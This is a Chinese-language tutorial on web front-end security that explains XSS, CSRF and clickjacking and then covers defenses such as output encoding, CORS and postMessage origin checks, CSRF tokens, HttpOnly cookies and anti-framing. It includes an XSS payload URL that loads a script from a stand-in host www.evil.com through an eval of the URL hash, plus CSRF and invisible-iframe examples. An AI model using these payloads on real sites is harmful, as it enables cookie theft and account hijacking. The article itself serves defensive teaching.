Web前端安全不可忽視
常見的Web前端攻擊方式
要搞清楚如何防範Web前端攻擊,首先要了解常見的Web前端攻擊手段或方法。目前,攻擊網站前端的主要方式有如下幾種:
1. XSS
XSS是Cross Site Scripting
的縮寫,即跨站點指令碼攻擊。XSS發生在使用者的瀏覽器端,即當用戶在載入HTML文件時執行了非預期的惡意指令碼。這些惡意的指令碼一般來自於第三方域,帶有一定的危害性,惡意指令碼的執行會導致使用者敏感資料的洩露或者誘導使用者錯誤操作。瀏覽器的同源策略並沒有限制頁面中載入第三方的指令碼,所以給了攻擊者一些可乘之機。一個典型的案例是這樣的,攻擊者發現到網站中有注入指令碼的漏洞,比如沒有針對使用者輸入的內容作驗證或轉義,而是直接在頁面上顯示了輸入的內容,於是他們惡意輸入一段有攻擊性的指令碼,使其在頁面上執行。這些惡意指令碼會修改頁面的內容,並誘導使用者操作已經被修改過的頁面,從而盜取使用者的Cookie資訊。如下的程式碼演示了一個典型的XSS攻擊。
如果網站的前端程式碼中有如下的程式碼段:
<script>
eval(location.hash.substr(1));
</script>
攻擊者發現頁面上有這樣的程式碼,則可以構建如下的URL:
http://host/test.html#document.write("<script/src=//www.evil.com/evil.js></script>”)
以這樣的方式,攻擊者在目標網站上就注入了一個外部的JavaScript檔案,如果攻擊者在這個外部檔案中編寫惡意的程式碼,比如取得Cookie資訊等,就可控制使用者在被攻擊網站上的賬號許可權了。
總結XSS攻擊的特點就是:盡一切辦法在目標網站上執行非目標網站上原有的指令碼。
2. CSRF
CSRF是Cross Site Request Forgery
,翻譯為跨站請求偽造。CSRF的概念很容易和XSS混淆。CSRF和XSS攻擊都是發起各種請求,但對CSRF來說,請求是來源於其他網站的,即為跨站的請求。並且這個請求並不是來自於使用者的意願,而是偽造的請求,誘導使用者發起的請求。如下是一個CSRF攻擊的典型過程。
假設網站a有個頁面是通過GET請求來刪除資料的,使用的URL如下:
http://www.a.com/del?id=21
攻擊者就可以利用這一點,構建一個頁面並建立一個指向此連結的iframe、img或者script等標籤。相當於偽造了一個GET請求。
此後,攻擊者把新構建頁面的地址釋出出去,新增一些吸引眼球的訊息,誘騙目標使用者開啟此頁面。使用者開啟此頁面就相當於間接地完成了刪除資料的操作。
可以看到這個CSRF攻擊的過程明顯不同於XSS攻擊,這個攻擊可以沒有任何的JavaScript參與。當然,如果想要利用JavaScript指令碼程式碼也是可以的,比如利用JavaScript程式碼來動態構建form表單,併發起一個針對目標網站的POST請求,從而達到攻擊目標網站的目的。
3. 介面操作劫持
介面操作劫持是最近幾年才興起的Web前端攻擊方式,Twitter、Facebook等大型網站都受到過此類的攻擊。從使用者操作行為上可以把介面操作劫持分為點選劫持和拖放劫持兩種,這兩種劫持的形式從字面上很好理解,分別是在使用者點選和拖動操作時發生的劫持攻擊事件。
介面操作劫持是利用視覺欺騙,誘導使用者操作。比如在可見的輸入框中覆蓋一個不可見的框(如一個不可見的iframe),使用者點選輸入框時,其實是點選了不可見框中的內容,從而讓使用者做出了一些非自己意願的操作。這些操作有可能造成了使用者敏感資訊的洩露、資料丟失等後果。
使用前端技術很容易實現一個不可見且浮在最上層的iframe視窗,如下的樣式程式碼展示了其具體的實現:
filter:alpha(opacity=0);
opacity:0;
z-index: 100;
上述程式碼設定了視窗的透明度為0,即視窗完全透明,假設頁面中所有的元素設定的z-index樣式都比100小,則z-index為100的iframe視窗就會浮到頁面的最上層,意味著頁面上的滑鼠操作首先會操作到iframe窗口裡面的內容,儘管操作者以為操作的是iframe視窗覆蓋的區域,即實現了視覺上的欺騙。所以介面操作劫持並不是具有高技術含量的攻擊方式,一般通過設計足夠吸引使用者操作的頁面就可以了。
以上就是目前常見的三種針對前端頁面攻擊的手段,雖然前端頁面成為了Web攻擊的主要入口之一,但前端開發者針對這些攻擊的防範還遠遠不夠,防範意識也很淡薄。那麼我們應該如何防範呢?
如何防範Web前端攻擊
1. 不要信任任何外部傳入的資料
防範Web前端攻擊的一個重要的常識是:永遠也不要相信使用者輸入的資料,一定要針對使用者輸入作相關的格式檢查、過濾等操作,防止任何可能的前端注入。如下所列的是在前端開發中應用的具體實踐方法。
不要信任使用者輸入的內容
大部分的網站中都有和使用者輸入互動,或者是通過URL傳遞輸入等功能模組存在,這些輸入的入口,也給了攻擊者可乘之機,XSS攻擊就是利用這些入口來攻擊網站的。預防攻擊的方式其實並不複雜,只要在所有的這些入口新增必要的輸入校驗和過濾即可。具體來說,就是針對使用者輸入內容進行html編碼、html標籤屬性編碼、JavaScript編碼、CSS編碼、URL編碼。
如果專案中使用了jQuery框架,那麼以上的編碼過濾操作就會變得簡單多了,jQuery內建的DOM操作介面已經針對輸入的內容作了相應的編碼處理,比如,顯示使用者輸入的內容時使用$('...').text(data)
而非$('...').html(data)
、使用$('...').attr()
新增屬性、使用$('...').css()
新增樣式等。至於URL編碼,則直接使用原生函式encodeURL
。
如果期望更靈活地控制輸入內容,則可以使用jQuery外掛jqencoder。如下是此外掛提供的各種編碼介面:
$.encoder.encodeForHTML()
$.encoder.encodeForHTMLAttribute()
$.encoder.encodeForJavaScript()
$.encoder.encodeForCSS()
$.encoder.encodeForURL()
除了必要的資料檢查過濾之外,也應該儘量避免使用一些有安全隱患的函式呼叫方式,比如避免使用eval
、setInterval
、setTimeout
等函式直接執行輸入的內容。
不要信任在任何傳入的第三方資料
在前端開發設計中,經常會載入第三方傳入的資料。但由於瀏覽器同源策略的限制,JavaScript是不能直接載入第三方域的資料的,不過,有幾種常用的技術可以繞過這樣的限制。其中,傳統的方式是通過使用JSONP ,這項技術利用了瀏覽器可以載入第三方JavaScript指令碼的特性。假設A網站請求B網站的資料,則A會在頁面中通過script標籤請求B網站的一個指令碼檔案,並在檔案的URL中傳入一個回撥函式名,B網站收到請求後會把要傳輸的資料和A網站傳入的回撥函式組合為一個函式呼叫程式碼返回給A網站,傳輸的資料則作為回撥函式的引數。A網站引用指令碼的方式類似如下:
<script src="http://server2.example.com/RetrieveUser?UserId=1823&jsonp=parseResponse"></script>
上述程式碼中parseResponse為傳入的回撥函式名稱,B網站組合後返回的程式碼類似如下:
parseResponse({"Name": "Cheeso", "Id" : 1823, "Rank": 7})
以上示例程式碼來自於JSONP對應的維基百科頁面。JSONP雖然很巧妙地做到了跨域的資料傳輸,但這種方式也存在安全隱患。正常情況下第三方網站傳輸給回撥函式的資料為JSON格式,但如果第三方網站受到攻擊,使得其返回的資料包含有惡意程式碼,而不是正常的JSON格式資料,那麼執行這些返回的惡意程式碼就會導致不可預期的攻擊。所以如果網站中使用了JSONP技術,則一定要檢查從第三方返回的資料格式。驗證方法很簡單,驗證返回資料的屬性名是否為預期的名稱,驗證屬性值是否在預期的範圍內。資料提供方(第三方)更容易會受到惡意的攻擊,比如通過構造非法的callback函式名來達到XSS攻擊的目的。防範的辦法是過濾callback函式名中的非法字元。同時,也要防止針對資料提供方的大量惡意請求攻擊,即DdoS攻擊 。這種攻擊的手段是利用合理的服務請求來佔用過多的服務資源。解決的辦法是利用白名單或者Cookie Token來作限制。一個更安全的方式是使用新標準HTML5中引入的CORS,這項技術在國內還很少使用,但在國外使用的例子已經有很多了。JSONP技術提供的跨域資料訪問鑽了同源策略的空子,算是技巧性的方案,而CORS則是從規範上專門定義的一項跨域資料訪問的技術。CORS比JSONP更先進和可靠,並且已經得到了主流瀏覽器的支援。JSONP只能用GET請求,而CORS不受這樣的限制,甚至可以通過AJAX發起請求。CORS主要的原理是在伺服器端設定Access-Control-Allow-Origin頭,從而限定了服務請求的發起端。如下是一個設定的示例:
Access-Control-Allow-Origin: http://www.dang-jian.com
此設定意味著從www.dang-jian.com網站發起的跨域請求會得到允許。CORS雖然比JSONP更可靠,但是也要遵守一些安全的規範。比如,Access-Control-Allow-Origin
頭應該設定在最小的範圍內,儘量不要設定為*,即允許所有的跨域請求。資料接收方在接受到資料後,一定要進行必要的資料格式和完整性校驗,並把返回的內容作為資料而不是程式碼,從而避免惡意資料的攻擊。
HTML5規範中也引入了另外一個跨域資料傳輸的方案,即使用window.postMessage介面。使用示例如下:
popup.postMessage("這是傳輸的資料",
"https://secure.example.net");
然後在目標頁面中新增如下的程式碼:
function receiveMessage(event) {
if (event.origin !== "http://example.org") {
return
// event.source 指向popup
// event.data 的內容是 "這是傳輸的資料"
}
}
window.addEventListener("message", receiveMessage, false);
當資料來源網頁呼叫postMessage介面傳送資料到目標頁面時,目標網頁的message事件被觸發,並在事件物件event上包含了傳輸的資料。使用postMessage時需要注意的地方和使用CORS時的類似,設定資料接受方時不要設定為*號,應設定為特定的地址。同時,資料接收方應該檢查資料來源地址並校驗接受的資料。不要通過跨域來傳輸程式碼,避免惡意程式碼的執行。如果網站不需要接受任何資料,則不要繫結message事件。
以上這幾種防範跨站攻擊的手段最適合用於網站提供對外介面的情形,如果網站不提供對外介面,則防範辦法就不用那麼麻煩了,有一些常規手段可以使用。比如每次請求都額外新增前後端都約定好加密token。這樣的外掛有很多,也可以自己實現。如果專案是基於NodeJS和Express,則推薦使用csurf中介軟體,這個中介軟體專門用於防範CSRF攻擊,可以檢視其官方網站獲得更多資訊。
不要僅僅靠JavaScript程式碼來阻止注入
如果使用者輸入的資料要儲存到後端資料庫中,則僅僅依靠JavaScript程式碼來校驗使用者輸入的資料是不夠的。因為JavaScript程式碼本身太容易被攻擊者攔截和修改了,使用者甚至可以不通過頁面而直接和後端連線,所以在後端的程式碼中也需要進行必要的資料校驗操作,並且檢查校驗的力度比前端要更嚴格。
2. 其他前端安全防範實踐
更安全地使用Cookie
在很多的網站中,Cookie是用來持久化使用者在網站中的登入的。所以如果取得了Cookie就可以劫持使用者在網站上的許可權。前端XSS攻擊的其中一個目標就是取得Cookie資訊,這也是Cookie洩露的最主要方式。避免這種洩露的最有效方式是設定Cookie為HttpOnly,即禁止了JavaScript操作Cookie,這樣一來,前端XSS攻擊時就不能通過JavaScript獲取Cookie的資訊了。HttpOnly Cookie基本上得到了所有瀏覽器的支援,所以推薦在專案中使用。在網站中使用JavaScript操作Cookie是一種不安全的做法,所以如果遇到需要通過此方式來傳遞和儲存資料的情況,就應該嘗試使用其他更安全的代替方案,比如使用HTML5中的LocalStorage。
除了給Cookie設定HttpOnly之外,還有另外一個和安全相關的設定,即Secure。設定了Secure的Cookie只能在瀏覽器使用HTTPS請求時被髮送到伺服器端。如果Cookie中包含有敏感資訊這將非常有用。如果站點使用了SSL,則應該啟用Cookie的Secure設定。
Cookie的另外兩個常用的設定是domain(域)和path(路徑),這兩個設定是用來確定Cookie作用域範圍的。通常情況下是不需要設定這兩個屬性的,但如果在程式碼中設定了這兩個屬性,則應該把範圍設定為最小值,避免在不相關的路徑或者域中訪問到Cookie。
防止網頁被其他網站內嵌為iframe
在上一節介紹前端攻擊手段時,介紹過介面操作劫持攻擊。這種攻擊正是利用了在網頁中內嵌一個透明的iframe來達到欺騙使用者的目的的。所以,為了避免這樣的攻擊,就要讓網頁不能夠被其他網站內嵌。傳統的方式是使用Javascript程式碼來阻止網頁被其他網頁巢狀,首先在頁面中新增如下的樣式:
<style id="antiClickjack">body{display:none !important;}</style>
同時新增類似如下的JavaScript程式碼:
<script type="text/javascript">
if (self === top) {
var antiClickjack = document.getElementById("antiClickjack");
antiClickjack.parentNode.removeChild(antiClickjack);
} else {
top.location = self.location;
}
</script>
如上的程式碼首先設定了整個頁面不可見,隨後在JavaScript程式碼中檢測頁面是否被內嵌。如果沒有被內嵌,則移除設定頁面不可見的樣式,否則把頂層頁面的地址設定為內嵌頁面的地址,從而阻止了頁面的內嵌。
瀏覽器也支援通過設定X-Frame-Options 響應頭來控制頁面被其他頁面內嵌。X-Frame-Options有三種設定選項:deny、sameorigin以及allowfrom url。分別表示禁止、允許相同域及特定URL頁面內嵌此頁面。目前只有allowfrom選項存在瀏覽器相容問題,其他兩種選項都得到了大部分瀏覽器的支援。所以從瀏覽器相容性上來說,指令碼的方式是目前用來阻止網頁被內嵌的最佳方式。當然,如果網站僅僅是要禁止被內嵌,則設定X-Frame-Options是最簡單有效的方案。
所謂道高一尺,魔高一丈。安全問題會隨著時間的推移出現新的攻擊方式,所以開發者需要在編寫前端程式碼時保持安全意識,不斷加強防範手段。